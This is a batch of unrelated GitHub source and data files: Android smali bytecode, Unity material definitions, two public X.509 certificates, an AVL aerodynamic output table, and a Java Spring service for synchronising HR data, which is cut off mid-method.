if-eqz v2, :cond_0 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemId()J move-result-wide v2 iget-object v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v4}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v4 iget v5, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I invoke-virtual {v4, v5}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemId(I)J move-result-wide v4 cmp-long v2, v2, v4 if-eqz v2, :cond_0 move v0, v1 goto :goto_0 .end method .method final viewRangeUpdate(II)V .locals 4 add-int v2, p1, p2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 add-int/lit8 v0, v0, -0x1 move v1, v0 :goto_0 if-ltz v1, :cond_2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; if-nez v0, :cond_1 :cond_0 :goto_1 add-int/lit8 v0, v1, -0x1 move v1, v0 goto :goto_0 :cond_1 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getLayoutPosition()I move-result v3 if-lt v3, p1, :cond_0 if-ge v3, v2, :cond_0 const/4 v3, 0x2 invoke-virtual {v0, v3}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V invoke-virtual {p0, v1}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleCachedViewAt(I)V goto :goto_1 :cond_2 return-void .end method
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!21 &2100000 Material: serializedVersion: 6 m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 0} m_Name: SelectorCard m_Shader: {fileID: 4800000, guid: 06aa46b8e43675d43b204c3638e59767, type: 3} m_ShaderKeywords: m_LightmapFlags: 4 m_EnableInstancingVariants: 0 m_DoubleSidedGI: 0 m_CustomRenderQueue: 3001 stringTagMap: {} disabledShaderPasses: [] m_SavedProperties: serializedVersion: 3 m_TexEnvs: - _BumpMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailAlbedoMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailMask: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailNormalMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _EmissionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MainTex: m_Texture: {fileID: 2800000, guid: a8c6f4897b0d646f5b3b699ea0c3db2d, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MetallicGlossMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _OcclusionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _ParallaxMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} m_Floats: - _BumpScale: 1 - _Cutoff: 0.5 - _DetailNormalMapScale: 1 - _DstBlend: 0 - _GlossMapScale: 1 - _Glossiness: 0.5 - _GlossyReflections: 1 - _Metallic: 0 - _Mode: 0 - _OcclusionStrength: 1 - _Parallax: 0.02 - _SmoothnessTextureChannel: 0 - _SpecularHighlights: 1 - _SrcBlend: 1 - _UVSec: 0 - _ZWrite: 1 m_Colors: - _Color: {r: 1, g: 1, b: 1, a: 1} - _EmissionColor: {r: 0, g: 0, b: 0, a: 1}
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIHBHO4jsYtAzANBgkqhkiG9w0BAQsFADCBnjELMAkGA1UE BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczEU MBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNlY3VyaXR5 ICgxMjUzMTM2Mjc4MTE1NjIwKTEhMB8GA1UEAwwYSW50ZXJtZWRpYXRlIENBIGZv ciAzMTk5MB4XDTIwMDcxNDAzMzQzNVoXDTIxMDcxNDAzMDk0NFowgZAxCzAJBgNV BAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlMb3MgR2F0b3Mx FDASBgNVBAoMC05ldGZsaXggSW5jMS0wKwYDVQQLDCRQbGF0Zm9ybSBTZWN1cml0 eSAoMTI1MzEzNjQxMzM1ODYwMikxEzARBgNVBAMMCjE3Mi4xNi4wLjEwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGFvuFsc/I8gTU0k3fRTxgJqqyoXRJ DEv5wX5yA1YQrq0yAT6bI8yTTvOe/Wt2h300x/dRJGTX8TOHTIFLntpD7wnFoIlg i3CIYlU9uomi7ovZvXw3N7VvkgOmTRlHspLXGhXBmxHh168nsBerfErTX1Yi2tI5 5+1A3jmeWRlkP6IVKXOlJc0HgekBacFH021nkwbEKevsvuaAUio9lnx+iqv3LGkA sgQyzoBH6SV1FKBV31+w3eZ5CQySYWbGh7Nma5ftE+SWZwO9AGK4H8cYAMvIqv1I 8mXN0vvzKkD8FlDIPIi+fnPtOCgvIDRQrziCMqFgi2pkRtn/CCKXRAXnAgMBAAGj LDAqMAwGA1UdEwEB/wQCMAAwGgYDVR0RBBMwEYIPbG9jYWxob3N0LmxvY2FsMA0G CSqGSIb3DQEBCwUAA4IBAQByPNpj30I0O233o1/mgrGVNVttrm0taRdlpt0NrXlj AApaIY1gyVIjXcFmhMWAxtDy/RSmUELEj0+GTDQv2+WM1sFbtlM6QcFgDs58MBgr Sl8c2S5IZudYZVnyL5QlVeoTS5kkboHwEhUPeBcY6lTyu81UdUjoSqoQSNUqJqbJ gHCF2GraC9mWhP8jLpKn/tbpgZOX9yHdo1Ow94gfMo/JLd+KnsNjjvhgJKk1qGEf jtN99QhLXXWO93+EbPREqDaz+5vuw/KBEgqazsurACDgOKreqw2moeCRX/pD8cTI ulLOQVUru3XBRnJufgcQ3PNOEG+NQb95zgRpbGevWakh -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
--------------------------------------------------------------- Vortex Lattice Output -- Total Forces Configuration: cruise # Surfaces = 7 # Strips = 170 # Vortices =1700 Sref = 124.86 Cref = 4.2350 Bref = 34.320 Xref = 15.310 Yref = 0.0000 Zref =-0.48024 Standard axis orientation, X fwd, Z down Run case: case_06_05 Alpha = 7.00000 pb/2V = -0.00000 p'b/2V = -0.00000 Beta = 0.00000 qc/2V = 0.00000 Mach = 0.850 rb/2V = -0.00000 r'b/2V = -0.00000 CXtot = 0.08611 Cltot = -0.00000 Cl'tot = -0.00000 CYtot = -0.00000 Cmtot = -1.37481 CZtot = -1.05751 Cntot = -0.00000 Cn'tot = 0.00000 CLtot = 1.06013 CDtot = 0.04341 CDvis = 0.00000 CDind = 0.0434065 CLff = 1.06127 CDff = 0.0401084 | Trefftz CYff = -0.00000 e = 0.9475 | Plane slat = 0.00000 flap = 0.00000 aileron = 0.00000 elevator = 0.00000 --------------------------------------------------------------- Geometry-axis derivatives... axial vel. u sideslip vel. v normal vel. w ---------------- ---------------- ---------------- x force CX | CXu = 0.004987 CXv = -0.000000 CXw = 1.372602 y force CY | CYu = -0.000000 CYv = -0.870133 CYw = 0.000001 z force CZ | CZu = -1.173612 CZv = -0.000002 CZw = -7.796568 x mom. Cl | Clu = -0.000001 Clv = -0.333212 Clw = -0.000007 y mom. Cm | Cmu = -1.455069 Cmv = -0.000000 Cmw = -10.711444 z mom. Cn | Cnu = -0.000000 Cnv = 0.290404 Cnw = -0.000001 roll rate p pitch rate q yaw rate r ---------------- ---------------- ---------------- x force CX | CXp = 0.000001 CXq = 3.968840 CXr = 0.000000 y force CY | CYp = 0.044903 CYq = -0.000015 CYr = 1.100564 z force CZ | CZp = -0.000012 CZq = -35.457745 CZr = 0.000003 x mom. Cl | Clp = -0.618084 Clq = -0.000039 Clr = 0.362478 y mom. Cm | Cmp = -0.000022 Cmq =-100.654518 Cmr = 0.000005 z mom. Cn | Cnp = -0.116544 Cnq = 0.000007 Cnr = -0.567735 slat d1 flap d2 aileron d3 elevator d4 ---------------- ---------------- ---------------- ---------------- x force CX | CXd1 = -0.001429 CXd2 = 0.001634 CXd3 = 0.000000 CXd4 = 0.000274 y force CY | CYd1 = -0.000000 CYd2 = 0.000000 CYd3 = 0.000359 CYd4 = -0.000000 z force CZ | CZd1 = 0.000830 CZd2 = -0.037686 CZd3 = 0.000000 CZd4 = -0.013135 x mom. Cl | Cld1 = 0.000000 Cld2 = -0.000000 Cld3 = 0.002517 Cld4 = -0.000000 y mom. Cm | Cmd1 = -0.000036 Cmd2 = -0.037368 Cmd3 = 0.000000 Cmd4 = -0.068048 z mom. Cn | Cnd1 = 0.000000 Cnd2 = -0.000000 Cnd3 = 0.000062 Cnd4 = 0.000000
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIIDWjCCAwWgAwIBAgIBATAMBggqhkjOPQQDAQUAMFAxCzAJBgNVBAYTAkRFMQ0w CwYDVQQKDARidW5kMQwwCgYDVQQLDANic2kxDTALBgNVBAUTBDQ1NjcxFTATBgNV BAMMDGNzY2EtZ2VybWFueTAeFw0wNzA3MTkxNTI3MThaFw0yODAxMTkxNTE4MDBa MFAxCzAJBgNVBAYTAkRFMQ0wCwYDVQQKDARidW5kMQwwCgYDVQQLDANic2kxDTAL BgNVBAUTBDQ1NjcxFTATBgNVBAMMDGNzY2EtZ2VybWFueTCCARMwgdQGByqGSM49 AgEwgcgCAQEwKAYHKoZIzj0BAQIdANfBNKomQ2aGKhgwJXXR14ewnwdXl9qJ9X7I wP8wPAQcaKXmLKnObBwpmAOmwVMLUU4YKtiwBCpZytKfQwQcJYD2PM/kQTiHBxOx qSNp4z4hNdJm27NyOGxACwQ5BA2QKa0sflz0NAgjsqh9xoyeTOMXTB5u/e4SwH1Y qlb3csBybyTGuJ5OzawkNUuemcqj9tN2FALNAh0A18E0qiZDZoYqGDAlddD7mNEW vEtt3ryjpaeTnwIBAQM6AAQBNkpLDwEC6VAqudxoVdkLBlpvXl5IOV+DCdV8Eauv 8hdWYH72dX7JiGyiItg8oEsamfpDxam84aOCARAwggEMMDYGA1UdEQQvMC2BGGNz Y2EtZ2VybWFueUBic2kuYnVuZC5kZYYRZmF4Ois0OTIyODk1ODI3MjIwDgYDVR0P AQH/BAQDAgEGMB0GA1UdDgQWBBQAlkUt5Yj5ZsTM3xYd0fP1NBtx5zAfBgNVHSME GDAWgBQAlkUt5Yj5ZsTM3xYd0fP1NBtx5zBBBgNVHSAEOjA4MDYGCQQAfwAHAwEB ATApMCcGCCsGAQUFBwIBFhtodHRwOi8vd3d3LmJzaS5idW5kLmRlL2NzY2EwEgYD VR0TAQH/BAgwBgEB/wIBADArBgNVHRAEJDAigA8yMDA3MDcxOTE1MjcxOFqBDzIw MjcxMTE5MTUxODAwWjAMBggqhkjOPQQDAQUAA0EAMD4CHQDGtB6DAhf9TJO1np4r E3NOCcGC+mP67kEVqO3VAh0A0nk42gG4lRqQZKG2lq7fGBt0logpwTjw6y9iOw== -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
.class public Ltypes/TestConstInline; .super Ljava/lang/Object; .method private static test(Z)Ljava/lang/String; .registers 4 .param p0, "b" # Z if-eqz p0, :cond_d invoke-static {}, Ltypes/TestConstInline;->list()Ljava/util/List; move-result-object v0 const-string v1, "1" goto :goto_return :cond_d const/4 v2, 0x0 # chained move instead zero const loading move v0, v2 move v1, v0 goto :goto_return :goto_return invoke-static {v0, v1}, Ltypes/TestConstInline;->use(Ljava/util/List;Ljava/lang/String;)Ljava/lang/String; move-result-object v2 return-object v2 .end method .method private static use(Ljava/util/List;Ljava/lang/String;)Ljava/lang/String; .registers 3 .annotation system Ldalvik/annotation/Signature; value = { "(", "Ljava/util/List", "<", "Ljava/lang/String;", ">;", "Ljava/lang/String;", ")", "Ljava/lang/String;" } .end annotation new-instance v0, Ljava/lang/StringBuilder; invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 return-object v0 .end method .method private static list()Ljava/util/List; .registers 1 .annotation system Ldalvik/annotation/Signature; value = { "()", "Ljava/util/List", "<", "Ljava/lang/String;", ">;" } .end annotation invoke-static {}, Ljava/util/Collections;->emptyList()Ljava/util/List; move-result-object v0 return-object v0 .end method
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!21 &2100000 Material: serializedVersion: 6 m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 0} m_Name: TankLights m_Shader: {fileID: 46, guid: 0000000000000000f000000000000000, type: 0} m_ShaderKeywords: m_LightmapFlags: 5 m_EnableInstancingVariants: 0 m_DoubleSidedGI: 0 m_CustomRenderQueue: -1 stringTagMap: {} disabledShaderPasses: [] m_SavedProperties: serializedVersion: 3 m_TexEnvs: - _BumpMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailAlbedoMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailMask: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailNormalMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _EmissionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MainTex: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MetallicGlossMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _OcclusionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _ParallaxMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} m_Floats: - _BumpScale: 1 - _Cutoff: 0.5 - _DetailNormalMapScale: 1 - _DstBlend: 0 - _EmissionScaleUI: 1 - _Glossiness: 0.6 - _Metallic: 0.4 - _Mode: 0 - _OcclusionStrength: 1 - _Parallax: 0.02 - _SrcBlend: 1 - _UVSec: 0 - _ZWrite: 1 m_Colors: - _Color: {r: 0.6958261, g: 0.76674175, b: 0.8088235, a: 1} - _EmissionColor: {r: 0, g: 0, b: 0, a: 1} - _EmissionColorUI: {r: 1, g: 0.7231238, b: 0.22794116, a: 1}
{ "pile_set_name": "Github" }
package com.dianrong.common.uniauth.server.synchronous.hr.service; import com.dianrong.common.uniauth.common.bean.InfoName; import com.dianrong.common.uniauth.common.bean.dto.HrSynchronousLogDto; import com.dianrong.common.uniauth.common.bean.dto.PageDto; import com.dianrong.common.uniauth.common.util.StringUtil; import com.dianrong.common.uniauth.common.util.SystemUtil; import com.dianrong.common.uniauth.server.data.entity.HrDept; import com.dianrong.common.uniauth.server.data.entity.HrJob; import com.dianrong.common.uniauth.server.data.entity.HrLe; import com.dianrong.common.uniauth.server.data.entity.HrPerson; import com.dianrong.common.uniauth.server.data.entity.HrSynchronousLog; import com.dianrong.common.uniauth.server.data.entity.HrSynchronousLogExample; import com.dianrong.common.uniauth.server.data.mapper.HrSynchronousLogMapper; import com.dianrong.common.uniauth.server.exp.AppException; import com.dianrong.common.uniauth.server.synchronous.exp.AcquireLockFailureException; import com.dianrong.common.uniauth.server.synchronous.exp.DeleteFTPFileFailureException; import com.dianrong.common.uniauth.server.synchronous.exp.FileLoadFailureException; import com.dianrong.common.uniauth.server.synchronous.exp.ForeignKeyCheckFailureException; import com.dianrong.common.uniauth.server.synchronous.exp.InvalidContentException; import com.dianrong.common.uniauth.server.synchronous.exp.SFTPServerProcessException; import com.dianrong.common.uniauth.server.synchronous.hr.bean.DepartmentList; import com.dianrong.common.uniauth.server.synchronous.hr.bean.HrSynchronousLogResult; import com.dianrong.common.uniauth.server.synchronous.hr.bean.HrSynchronousLogType; import com.dianrong.common.uniauth.server.synchronous.hr.bean.JobList; import com.dianrong.common.uniauth.server.synchronous.hr.bean.LegalEntityList; import com.dianrong.common.uniauth.server.synchronous.hr.bean.LoadContent; import com.dianrong.common.uniauth.server.synchronous.hr.bean.PersonList; import com.dianrong.common.uniauth.server.synchronous.hr.bean.SynchronousFile; import com.dianrong.common.uniauth.server.synchronous.hr.support.HrDataSynchronousSwitcher; import com.dianrong.common.uniauth.server.synchronous.hr.support.HrDeptAnalyzer; import com.dianrong.common.uniauth.server.synchronous.hr.support.HrJobAnalyzer; import com.dianrong.common.uniauth.server.synchronous.hr.support.HrLeAnalyzer; import com.dianrong.common.uniauth.server.synchronous.hr.support.HrPersonAnalyzer; import com.dianrong.common.uniauth.server.synchronous.hr.support.SFTPFileDeleter; import com.dianrong.common.uniauth.server.synchronous.support.FileContentAnalyzer; import com.dianrong.common.uniauth.server.synchronous.support.FileLoader; import com.dianrong.common.uniauth.server.synchronous.support.ProcessLocker; import com.dianrong.common.uniauth.server.util.BeanConverter; import com.dianrong.common.uniauth.server.util.ParamCheck; import com.dianrong.common.uniauth.server.util.UniBundle; import java.util.ArrayList; import java.util.Arrays; import java.util.Calendar; import java.util.Date; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import javax.annotation.Resource; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.exception.ExceptionUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Service; import org.springframework.util.StringUtils; /** * 处理批量的更新的逻辑. */ @Slf4j @Service public class Synchronous { private static final int THREAD_POOL_SIZE = 5; /** * 异步线程池. */ private static final ExecutorService EXECUTOR_SERVICE = Executors .newFixedThreadPool(THREAD_POOL_SIZE); /** * 文件内容分析器. */ private FileContentAnalyzer<DepartmentList> hrDeptAnalyzer = new HrDeptAnalyzer(); private FileContentAnalyzer<JobList> hrJobAnalyzer = new HrJobAnalyzer(); private FileContentAnalyzer<LegalEntityList> hrLeAnalyzer = new HrLeAnalyzer(); private FileContentAnalyzer<PersonList> hrPersonAnalyzer = new HrPersonAnalyzer(); /** * 获取锁任务. */ @Autowired private ProcessLocker processLocker; /** * 加载文件的加载器. */ @Resource(name = "fuzzyMatchUCMFileNameLoader") private FileLoader fileLoader; /** * 开关. */ @Autowired private HrDataSynchronousSwitcher switchControl; /** * 在过期多少天之后删除. */ @Value("#{uniauthConfig['synchronization.hr.delete.expired.days']?:'7'}") private int deleteAfterExpiredDays = 7; /** * 数据库操作service */ @Autowired private SynchronousDb synchronousDb; /** * 同步日志记录Mapper. */ @Autowired private HrSynchronousLogMapper hrSynchronousLogMapper; @Autowired private SFTPFileDeleter ftpFileDeleter; /** * 异步执行同步数据处理逻辑. */ public void startSynchronize() { startSynchronize(false); } /** * 同步数据处理逻辑. * * @param asynchronous 是否异步执行. */ public void startSynchronize(boolean asynchronous) { if (!switchControl.isOn()) { log.info("HR data synchronous switch is off, so just ignore startSynchronize call."); return; } try { // 获取锁 processLocker.lock(); } catch (AcquireLockFailureException ale) { log.info("Acquire lock failed, " + ale.getMessage(), ale); throw new AppException(InfoName.ACQUIRE_LOCK_FAILED, UniBundle.getMsg("hr.data.synchronous.lock.acquire.failed", ale.getHoldLockServerIp())); } if (asynchronous) { EXECUTOR_SERVICE.submit(new Runnable() { @Override public void run() { synchronousDataProcess(); } }); } else { synchronousDataProcess(); } } /** * 同步数据处理方法. */ private void synchronousDataProcess() { // 同步日志对象. HrSynchronousLog hrSynchronousLog = new HrSynchronousLog(); hrSynchronousLog.setSynchronousStartTime(new Date()); // 同步HR数据 hrSynchronousLog.setSynchronousType(HrSynchronousLogType.SYNCHRONOUS_HR_DATA.toString()); hrSynchronousLog.setComputerIp(SystemUtil.getLocalIp()); try { // 加载所有的文件内容 LoadContent<String> depContent = fileLoader.loadFileContent(SynchronousFile.DEPT_UA.getName()); DepartmentList departmentList = hrDeptAnalyzer.analyze(depContent.getContent()); LoadContent<String> jobContent = fileLoader.loadFileContent(SynchronousFile.JOB_UA.getName()); JobList jobList = hrJobAnalyzer.analyze(jobContent.getContent()); LoadContent<String> leContent = fileLoader.loadFileContent(SynchronousFile.LE_UA.getName()); LegalEntityList legalEntityList = hrLeAnalyzer.analyze(leContent.getContent()); LoadContent<String> personContent = fileLoader.loadFileContent(SynchronousFile.PERSON_UA.getName()); PersonList personList = hrPersonAnalyzer.analyze(personContent.getContent()); hrSynchronousLog.setProcessContent(StringUtil.subStrIfNeed(Arrays .asList(depContent.getSourceName(), jobContent.getSourceName(), leContent.getSourceName(), personContent.getSourceName()).toString(), 200)); // 外键约束检测 foreignKeyCheck(departmentList, jobList, legalEntityList, personList); // 数据库操作 synchronousDb.dbProcess(departmentList, jobList, legalEntityList, personList); // 同步成功 hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.SUCCESS.toString()); } catch (FileLoadFailureException | SFTPServerProcessException flfe) { // 加载FTP文件失败 log.error("Synchronous HR system data failed, load ftp file failed.", flfe); hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.FAILURE.toString()); hrSynchronousLog.setFailureMsg(flfe.getMessage()); throw new AppException(InfoName.INTERNAL_ERROR, flfe.getMessage()); } catch (InvalidContentException fkfe) { // 解析文件内容失败 log.error("Synchronous HR system data failed, ftp file content is invalid.", fkfe); hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.FAILURE.toString()); hrSynchronousLog.setFailureMsg(fkfe.getMessage()); throw new AppException(InfoName.INTERNAL_ERROR, fkfe.getMessage()); } catch (ForeignKeyCheckFailureException fkfe) { // 外键Check失败 log.error("Synchronous HR system data failed, foreign key check failure.", fkfe); hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.FAILURE.toString()); hrSynchronousLog.setFailureMsg(fkfe.getMessage()); throw new AppException(InfoName.INTERNAL_ERROR, fkfe.getMessage()); } catch (Exception e) { // 其他异常 log.error("Synchronous HR system data failed, exception occured.", e); hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.FAILURE.toString()); String expInfo = StringUtil.subStrIfNeed(ExceptionUtils.getStackTrace(e), 2000); hrSynchronousLog.setFailureMsg(expInfo); throw new AppException(InfoName.INTERNAL_ERROR, expInfo); } finally { hrSynchronousLog.setSynchronousEndTime(new Date()); // 插入同步日志 hrSynchronousLogMapper.insert(hrSynchronousLog); } } /** * 根据条件分页查询同步日志数据. * * @param startTime 开始时间 * @param endTime 结束时间 * @param type 日志类型 * @param computerIp 操作服务器的ip * @param result 同步结果 * @param pageNumber 分页页码 * @param pageSize 分页大小 * @return 查询结果 */ public PageDto<HrSynchronousLogDto> queryHrSynchronousLog(Date startTime, Date endTime, String type, String computerIp, String result, Integer pageNumber, Integer pageSize) { if (pageNumber == null || pageSize == null) { throw new AppException(InfoName.VALIDATE_FAIL, UniBundle.getMsg("common.parameter.empty", "pageNumber, pageSize")); } HrSynchronousLogExample hrSynchronousLogExample = new HrSynchronousLogExample(); hrSynchronousLogExample.setOrderByClause("create_date desc"); hrSynchronousLogExample.setPageOffSet(pageNumber * pageSize); hrSynchronousLogExample.setPageSize(pageSize); HrSynchronousLogExample.Criteria criteria = hrSynchronousLogExample.createCriteria(); if (startTime != null) { criteria.andSynchronousStartTimeGreaterThanOrEqualTo(startTime); } if (endTime != null) { criteria.andSynchronousEndTimeLessThan(endTime); } if (StringUtils.hasText(type)) { criteria.andSynchronousTypeEqualTo(type); } if (StringUtils.hasText(computerIp)) { criteria.andComputerIpLike("%" + computerIp + "%"); } if (StringUtils.hasText(result)) { criteria.andSynchronousResultEqualTo(result); } int count = hrSynchronousLogMapper.countByExample(hrSynchronousLogExample); ParamCheck.checkPageParams(pageNumber, pageSize, count); List<HrSynchronousLog> hrSynchronousLogs = hrSynchronousLogMapper.selectByExample(hrSynchronousLogExample); if (hrSynchronousLogs == null) { return null; } List<HrSynchronousLogDto> hrSynchronousLogDtos = new ArrayList<>(hrSynchronousLogs.size()); for (HrSynchronousLog hrSynchronousLog : hrSynchronousLogs) { hrSynchronousLogDtos.add(BeanConverter.convert(hrSynchronousLog)); } return new PageDto<>(pageNumber, pageSize, count, hrSynchronousLogDtos); } /** * 删除过期的FTP同步文件. */ public void deleteExpiredFtpFile() { deleteExpiredFtpFile(false); } /** * 删除过期的FTP同步文件. */ public void deleteExpiredFtpFile(boolean asynchronous) { // if (!switchControl.isOn()) { // 关闭删除文件的处理. if (true) { log.info("HR data synchronous switch is off, so just ignore delete expired FTP file call."); return; } try { // 获取锁 processLocker.lock(); } catch (AcquireLockFailureException ale) { log.info("Acquire lock failed, " + ale.getMessage(), ale); throw new AppException(InfoName.ACQUIRE_LOCK_FAILED, UniBundle.getMsg("hr.data.synchronous.lock.acquire.failed", ale.getHoldLockServerIp())); } if (asynchronous) { EXECUTOR_SERVICE.submit(new Runnable() { @Override public void run() { deleteExpiredFileProcess(); } }); } else { deleteExpiredFileProcess(); } } /** * 删除过期文件的实际执行逻辑. */ private void deleteExpiredFileProcess() { // 同步日志对象. HrSynchronousLog hrSynchronousLog = new HrSynchronousLog(); hrSynchronousLog.setSynchronousStartTime(new Date()); // 同步HR数据 hrSynchronousLog.setSynchronousType(HrSynchronousLogType.DELETE_FTP_HR_EXPIRED_DATA.toString()); hrSynchronousLog.setComputerIp(SystemUtil.getLocalIp()); Calendar calendar = Calendar.getInstance(); calendar.add(Calendar.DAY_OF_YEAR, -deleteAfterExpiredDays); try { List<String> successDeleteFileNames = ftpFileDeleter.deleteFtpFileByExpiredTime(calendar.getTime()); // 删除成功 hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.SUCCESS.toString()); hrSynchronousLog .setProcessContent(StringUtil.subStrIfNeed(successDeleteFileNames.toString(), 200)); } catch (DeleteFTPFileFailureException dfe) { log.debug("Failed delete files update time before:" + calendar.getTime(), dfe); hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.FAILURE.toString()); hrSynchronousLog.setProcessContent(dfe.getDeleteSuccessFileNames().toString()); hrSynchronousLog.setFailureMsg(dfe.getMessage()); throw new AppException(InfoName.INTERNAL_ERROR, dfe.getMessage()); } catch (Exception e) { log.debug("Failed delete files update time before:" + calendar.getTime(), e); hrSynchronousLog.setSynchronousResult(HrSynchronousLogResult.FAILURE.toString()); String expInfo = ExceptionUtils.getStackTrace(e); hrSynchronousLog.setFailureMsg(expInfo); throw new AppException(InfoName.INTERNAL_ERROR, expInfo); } finally { hrSynchronousLog.setSynchronousEndTime(new Date()); // 插入同步日志 hrSynchronousLogMapper.insert(hrSynchronousLog); } } /** * 根据传入的内容,进行外键分析检测. * * @param departmentList 部门信息列表. * @param jobList 职位信息列表. * @param legalEntityList 法律实体信息列表. * @param personList 员工信息列表. * @throws ForeignKeyCheckFailureException 外键检测不过. */ private void foreignKeyCheck(DepartmentList departmentList, JobList jobList, LegalEntityList legalEntityList, PersonList personList) throws ForeignKeyCheckFailureException { // 收集外键id集合 Set<Long> leIds = new HashSet<>(legalEntityList.content().size()); Set<Long> jobIds = new HashSet<>(jobList.content().size()); Set<Long> deptIds = new HashSet<>(departmentList.content().size()); Set<Long> personIds = new HashSet<>(personList.content().size()); for (HrLe hrLe : legalEntityList.content()) { leIds.add(hrLe.getCompanyId()); } for (HrJob hrJob : jobList.content()) { jobIds.add(hrJob.getJobId()); } for (HrDept hrDept : departmentList.content()) { deptIds.add(hrDept.getDepartmentId()); } for (HrPerson hrPerson : personList.content()) { personIds.add(hrPerson.getPersonId()); } // Check hr_dept表的外键 /* * 1 parent_dept_id 需要是deptId. * 2 manager_id 需要是personId. * */ for (HrDept hrDept : departmentList.content()) { // 父部门id check. Long deptId = hrDept.getParentsDeptId(); if (deptId != null && !deptIds.contains(deptId)) { throwForeignKeyCheckFailureException(departmentList.synchronousFile().getTableName(), "parentsDeptId", deptId, departmentList.synchronousFile().getTableName(), "departmentId"); } // 部门manager id check. Long managerId = hrDept.getManagerId(); if (managerId != null && !personIds.contains(managerId)) { throwForeignKeyCheckFailureException(departmentList.synchronousFile().getTableName(), "managerId", managerId, personList.synchronousFile().getTableName(), "personId"); } } // Check hr_person表的外键 /* * 1 department_id 需要是deptId. * 2 job_id 需要是jobId. * 3 manager_id 需要是personId. * 4 legal_entities_id 需要是leId. * */ for (HrPerson hrPerson : personList.content()) { // buId check. Long buId = hrPerson.getBuId(); if (buId != null && !deptIds.contains(buId)) { throwForeignKeyCheckFailureException(personList.synchronousFile().getTableName(), "buId", buId, departmentList.synchronousFile().getTableName(), "departmentId"); } // 